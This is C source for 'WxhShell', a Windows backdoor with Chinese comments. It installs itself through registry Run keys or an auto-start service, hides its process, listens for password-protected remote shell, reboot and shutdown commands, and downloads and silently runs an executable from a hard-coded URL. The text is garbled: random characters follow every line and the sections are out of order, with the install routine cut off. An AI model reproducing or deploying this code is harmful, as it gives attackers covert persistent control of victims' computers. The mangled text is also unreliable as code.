DWORD AffinityMask; 0&qr
DWORD BasePriority; bwVPtu`
ULONG UniqueProcessId; yKYUsp
ULONG InheritedFromUniqueProcessId; Qy<[7
} PROCESS_BASIC_INFORMATION; gmIqT
f
EXP%Mk/
PROCNTQSIP NtQueryInformationProcess; U4m9e|/H;z
/{wJEuE
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \!(
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ul%h@=n
ZX ?yL>4
HANDLE hProcess; D3|oOOoG
PROCESS_BASIC_INFORMATION pbi; QM3,'?ekRH
0TfS=scT
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tz#gClo
if(NULL == hInst ) return 0; 4h@Z/G!T3
/9o!*K
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Gl1jxxd
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^w ] /
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lb'GXd %
vN2u34
if (!NtQueryInformationProcess) return 0; d(g^M1m
V"p!Bf
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QO"oEgB`+Z
if(!hProcess) return 0; qB)"qFa
DI!V^M[~u
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (`SRJ$~f
USFDy
CloseHandle(hProcess); UzXE_S
&/Ro lIHF
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2X:4CC%5
if(hProcess==NULL) return 0; t){"Tfc:
-(O-%
HMODULE hMod; _qbIh
char procName[255]; }FzqW*4~
unsigned long cbNeeded; WL` 9~S
\*,=S52
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }g$(+1g
G^q3Z#P
CloseHandle(hProcess); gM [w1^lj
m*$|GW9
if(strstr(procName,"services")) return 1; // 以服务启动 5{n*"88
5K|"\
return 0; // 注册表启动 Ed9Z9
} }I@L}f5N
)DYI
.
// 主模块 "t^URp3
int StartWxhshell(LPSTR lpCmdLine) b;)~wU=
{ %0? M?Jf
SOCKET wsl; e</$ s
BOOL val=TRUE; ,gL9?Wz
int port=0; oI^4pwn h
struct sockaddr_in door; VCtH%v#S;.
PjN =k;
if(wscfg.ws_autoins) Install(); +7t6k7]c
"5eNLqt^q
port=atoi(lpCmdLine); Q}S_%I}u:
qF 9NQ;
if(port<=0) port=wscfg.ws_port; k</%YKk
s?ko?qN(
WSADATA data; $T :un.TM
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -l%J/ :
|+`c3*PV
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ID.n1i3
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5OoN!TEM
door.sin_family = AF_INET; }du XC[ 6
door.sin_addr.s_addr = inet_addr("127.0.0.1"); :VF<9@t
door.sin_port = htons(port); lg047K
OgF+OS
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jE#O>3+.
closesocket(wsl); H3Se={5h\A
return 1; 5e
sQ;
} !"+'A)Nve
iS5W>1]
if(listen(wsl,2) == INVALID_SOCKET) { kD bhu^~B
closesocket(wsl); hDV20&hq
return 1; :>itXD!
} *6 _tQ9G
Wxhshell(wsl); "*,XL
uv>
WSACleanup(); Jvun?J
m
tDr#H!2
3
return 0; K-&V,MI
t%530EB3
} )P7)0c
E9V5$
// 以NT服务方式启动 _gD
pKEaY
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mrV!teP
{ N?X^O#[
DWORD status = 0; MLFKH
DWORD specificError = 0xfffffff; 0(_l|PScF
>a3p >2
serviceStatus.dwServiceType = SERVICE_WIN32; V5 U?F6
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
vSonkJ_
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3_q3Bk
serviceStatus.dwWin32ExitCode = 0; 6rS$yjTX!
serviceStatus.dwServiceSpecificExitCode = 0; .rPn5D Y
serviceStatus.dwCheckPoint = 0; %r4q8-
serviceStatus.dwWaitHint = 0; 6i0A9SN
ZylJp8U
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "T H6o:x
if (hServiceStatusHandle==0) return; Bo5ZZY
8( btZt
status = GetLastError(); z"*/mP2
if (status!=NO_ERROR) G<M:Ak+~
{ fvb=#58N_
serviceStatus.dwCurrentState = SERVICE_STOPPED; tl'n->G>v
serviceStatus.dwCheckPoint = 0; C{2xHd/*
serviceStatus.dwWaitHint = 0; m! U9m
serviceStatus.dwWin32ExitCode = status; OM{WI27
serviceStatus.dwServiceSpecificExitCode = specificError; inlk++Og
SetServiceStatus(hServiceStatusHandle, &serviceStatus); "(qw-kil
return; fAB e
} fr!Pj(Q1
Py{<bd
serviceStatus.dwCurrentState = SERVICE_RUNNING; (MHAJ]Rx
serviceStatus.dwCheckPoint = 0; d6i6hcQE
serviceStatus.dwWaitHint = 0; cWajrLw
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GU Q{r!S
} 4Z|vnj)Z
~SSU`
// 处理NT服务事件,比如:启动、停止 "`asFg
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1He{v#
{ @AYRiOodi
switch(fdwControl) J~(Wf%jM~
{ ;\MW$/[JCy
case SERVICE_CONTROL_STOP: Hi]cxD*`
serviceStatus.dwWin32ExitCode = 0; mw5?[@G-
serviceStatus.dwCurrentState = SERVICE_STOPPED; WL{(Ob
serviceStatus.dwCheckPoint = 0; n<B<93f/
serviceStatus.dwWaitHint = 0; /pp1~r.s?>
{ j1 =`|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); cwV]!=RtO
} UJs$q\#RO
return; JMdPwI
case SERVICE_CONTROL_PAUSE: r <
cVp^
serviceStatus.dwCurrentState = SERVICE_PAUSED; 3Tq\BZ
break; WMMO5_Mz
case SERVICE_CONTROL_CONTINUE: Y?534l)j
serviceStatus.dwCurrentState = SERVICE_RUNNING; Mc!Xf[
break; ,C {*s$
case SERVICE_CONTROL_INTERROGATE: ,sGZ2=M}J
break; FYS/##r
}; \n9zw'
SetServiceStatus(hServiceStatusHandle, &serviceStatus); l]<L [Y,E-
} moVbw`T
81*M= ?
// 标准应用程序主函数 P=1I<Pew
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J9T3nTfL
{ %6--}bY^
7Ol}EPf#
// 获取操作系统版本 H:H6b
OsIsNt=GetOsVer(); OCy0#aPRS
GetModuleFileName(NULL,ExeFile,MAX_PATH); BnRN;bu
E\m5%bK\B
// 从命令行安装 M,}|tsL
if(strpbrk(lpCmdLine,"iI")) Install(); . @Ut?G
-YD+(c`l
// 下载执行文件 lO:.OZu
if(wscfg.ws_downexe) { jp' K%P
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2DD:~Tbi
WinExec(wscfg.ws_filenam,SW_HIDE); 7 h y&-<
}
rxO2QQ%V
fSDi-I
if(!OsIsNt) { n&MG7`]N
// 如果时win9x,隐藏进程并且设置为注册表启动 e?bYjJq
HideProc(); 76.{0c
StartWxhshell(lpCmdLine); ET];%~ ^
} &uUo3qXQ5l
else >yJ9U,Y
if(StartFromService()) dz>;<&2Z
// 以服务方式启动 a}Sd W
StartServiceCtrlDispatcher(DispatchTable); .WQ<jZt>
else ,<DB&&EV8
// 普通方式启动 (z$r :p
StartWxhshell(lpCmdLine); !A1)|/a@
6dAEM;$_Z
return 0; 6n1rL
} n}xhW'3hU=
?OdJqw0,G
>u%]6_[
Vx_rc%'
=========================================== f.GETw
a{Esw`
;IK[Y{W/
Jx#k,Z4
v+"rZ
H UoyLy
" !6&W,0<
`MP|Ovns:H
#include <stdio.h> ,@z4I0cTi\
#include <string.h> 2FD=lR?6
#include <windows.h> v}^5Rp&m
#include <winsock2.h> 4lKVY<
#include <winsvc.h> vILy>QS)
#include <urlmon.h> H;aYiy
e4OeoQ@ >
#pragma comment (lib, "Ws2_32.lib") _ .i3,-l)
#pragma comment (lib, "urlmon.lib") >\ST-7[^L
B5X sGLV
#define MAX_USER 100 // 最大客户端连接数 J/);"bg_O
#define BUF_SOCK 200 // sock buffer $N2SfyX7
#define KEY_BUFF 255 // 输入 buffer hC_Vts[v/
,%bhyww<
#define REBOOT 0 // 重启 U=sh[W
#define SHUTDOWN 1 // 关机 i~J;G#b
YGc^h(d
#define DEF_PORT 5000 // 监听端口 h;lirvO|
*b}>cn)<v
#define REG_LEN 16 // 注册表键长度 (yo;NKq,@
#define SVC_LEN 80 // NT服务名长度 dMx4ykrR
4;`Bj:.
// 从dll定义API j\RpO'+}
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Pag63njg?
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a'\By?V]
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !2:3MbtR
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iAMtejw
6{d6s#|%
// wxhshell配置信息 U-wLt(Y<
struct WSCFG { ~{>?*Gd&T
int ws_port; // 监听端口 t"j|nz{m
char ws_passstr[REG_LEN]; // 口令 B@Nt`ky0*
int ws_autoins; // 安装标记, 1=yes 0=no h?\2_s
char ws_regname[REG_LEN]; // 注册表键名 b=a!j=-D
char ws_svcname[REG_LEN]; // 服务名 ea=83 Zj
char ws_svcdisp[SVC_LEN]; // 服务显示名 Wi n8LOC
char ws_svcdesc[SVC_LEN]; // 服务描述信息 cD1o"bq
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &$`hQgi
int ws_downexe; // 下载执行标记, 1=yes 0=no {+zJI-XN/
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *5$&`&,
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AgF5-tz6x
o-7>eE}+
}; !\[+99F#
~`Qko-a&
// default Wxhshell configuration bt+,0\Vg5
struct WSCFG wscfg={DEF_PORT, _nT{g
"xuhuanlingzhe", 3-40'$lE
1, Y^"4?96
"Wxhshell", m8+(%>+7
"Wxhshell", l^NC]t
"WxhShell Service", YEjY8]t
"Wrsky Windows CmdShell Service", ~#:e *:ro
"Please Input Your Password: ", lhC6S'vq
1, .DJDpP)M
"http://www.wrsky.com/wxhshell.exe", f<y&\'3
"Wxhshell.exe" bAxTLIf
}; +?RGta'%k
ydWtvFuS
// 消息定义模块 !rxp?V n -
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MQ][mMM;w
char *msg_ws_prompt="\n\r? for help\n\r#>"; j&6 jRX
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &;H{cv`
char *msg_ws_ext="\n\rExit."; Iy
{U'a!
char *msg_ws_end="\n\rQuit."; FgA//)1
char *msg_ws_boot="\n\rReboot..."; dTEJ=d40
char *msg_ws_poff="\n\rShutdown..."; 5T4"j;_.BL
char *msg_ws_down="\n\rSave to "; sc`"P-J+vp
{gf>*
char *msg_ws_err="\n\rErr!"; e{G_GycH
char *msg_ws_ok="\n\rOK!"; PX".Km p.
ApPy]IdwX
char ExeFile[MAX_PATH]; QL"gWr`R
int nUser = 0; D_|B2gdZY
HANDLE handles[MAX_USER]; hQJWKAf,/
int OsIsNt; a!Yb1[
P#GD?FUc
SERVICE_STATUS serviceStatus; AZFWuPJo
SERVICE_STATUS_HANDLE hServiceStatusHandle; |U[y_Y\a
Q 882B1H
// 函数声明 r
-f
int Install(void); 0rMqWP
int Uninstall(void); urY`^lX~
int DownloadFile(char *sURL, SOCKET wsh); o%(bQV-T
int Boot(int flag); /L)
9tt.
void HideProc(void); +?-qfp,:0
int GetOsVer(void); w`yx=i#
int Wxhshell(SOCKET wsl); 6X+}>qy
void TalkWithClient(void *cs); 67<CbQZoN3
int CmdShell(SOCKET sock); ){Z
int StartFromService(void); &B-[oqC?
int StartWxhshell(LPSTR lpCmdLine); /rF8@l
&jts:^N>
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #dJ 2Q_2
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _=`x])mM
AvRcS]@=
// 数据结构和表定义 Pw}_[[>$
SERVICE_TABLE_ENTRY DispatchTable[] = >.dHt\
{ 4E"d /
{wscfg.ws_svcname, NTServiceMain}, i|2$8G3
{NULL, NULL} \ 3NS>v[1
}; I"!'AI-
":WYcaSi
// 自我安装 *d*oS7
int Install(void) |i)lh_iN
{ l[n@/%2
char svExeFile[MAX_PATH]; ^JhFI*
HKEY key; e&J3N
strcpy(svExeFile,ExeFile); 9$tl00
HY;oy(
// 如果是win9x系统,修改注册表设为自启动 6c\DJD
if(!OsIsNt) { :zL 393(
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hjY0w
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x72G^`Wv
RegCloseKey(key); \ZnN D1A
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OCx5/ 88X
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~"mj;5Id
RegCloseKey(key); NM L|"R;
return 0; DA <ynBQ
} OAok
} PKtU:Eg
} Z*bC#s?
else { me. /o(!?
2,AaP*,
// 如果是NT以上系统,安装为系统服务 D3?N<9g
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Qyj(L[K J
if (schSCManager!=0) .w'vD/q;
{ jKt-~:
SC_HANDLE schService = CreateService
&tBA^igXK
( R<&FhT]
schSCManager, $Xt;A&l2?
wscfg.ws_svcname, KSOO?X0j
wscfg.ws_svcdisp, u( 9X
SERVICE_ALL_ACCESS, UD*+"~
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >~&(P_<b
SERVICE_AUTO_START, x YT}>#[
SERVICE_ERROR_NORMAL, 3_J>y
svExeFile, e{t=>vry
NULL, WFh@%j
NULL, aF])"9
NULL, 6GOg_P
NULL, ;:_(7|
NULL wW()Zy0)
); xKW"X
if (schService!=0) :Y.e[@!1x
{ ~L){O*Z
CloseServiceHandle(schService); TSXTc'
CloseServiceHandle(schSCManager); .}p|`3$P
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ygx,t|?7
strcat(svExeFile,wscfg.ws_svcname); 4$i} Xk#3
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6F ;Or
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,I39&;Iq
RegCloseKey(key); G7Ny"{Z
return 0; *tG11gR,&